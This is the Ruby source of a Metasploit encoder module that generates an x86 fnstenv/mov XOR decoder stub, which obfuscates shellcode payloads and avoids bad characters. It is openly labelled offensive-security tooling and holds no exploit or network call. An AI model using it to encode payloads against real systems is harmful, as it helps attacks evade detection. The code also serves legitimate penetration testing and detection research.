68 lines
1.8 KiB
Ruby
68 lines
1.8 KiB
Ruby
##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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class MetasploitModule < Msf::Encoder::Xor
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def initialize
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super(
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'Name' => 'Variable-length Fnstenv/mov Dword XOR Encoder',
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'Description' => %q{
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This encoder uses a variable-length mov equivalent instruction
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with fnstenv for getip.
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},
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'Author' => 'spoonm',
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'Arch' => ARCH_X86,
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'License' => MSF_LICENSE,
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'Decoder' =>
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{
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'KeySize' => 4,
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'BlockSize' => 4,
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})
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end
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#
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# Returns the decoder stub that is adjusted for the size of the buffer
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# being encoded.
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#
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def decoder_stub(state)
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# Sanity check that saved_registers doesn't overlap with modified_registers
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if (modified_registers & saved_registers).length > 0
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raise BadGenerateError
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end
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decoder =
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Rex::Arch::X86.set(
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Rex::Arch::X86::ECX,
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(((state.buf.length - 1) / 4) + 1),
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state.badchars) +
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"\xd9\xee" + # fldz
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"\xd9\x74\x24\xf4" + # fnstenv [esp - 12]
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"\x5b" + # pop ebx
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"\x81\x73\x13XORK" + # xor_xor: xor DWORD [ebx + 22], xorkey
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"\x83\xeb\xfc" + # sub ebx,-4
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"\xe2\xf4" # loop xor_xor
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state.decoder_key_offset = decoder.index('XORK')
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return decoder
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end
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# Indicate that this module can preserve some registers
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def can_preserve_registers?
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true
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end
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# A list of registers always touched by this encoder
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def modified_registers
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[ Rex::Arch::X86::EBX, Rex::Arch::X86::ECX ]
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end
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# Convert the SaveRegisters to an array of x86 register constants
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def saved_registers
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Rex::Arch::X86.register_names_to_ids(datastore['SaveRegisters'])
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end
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end
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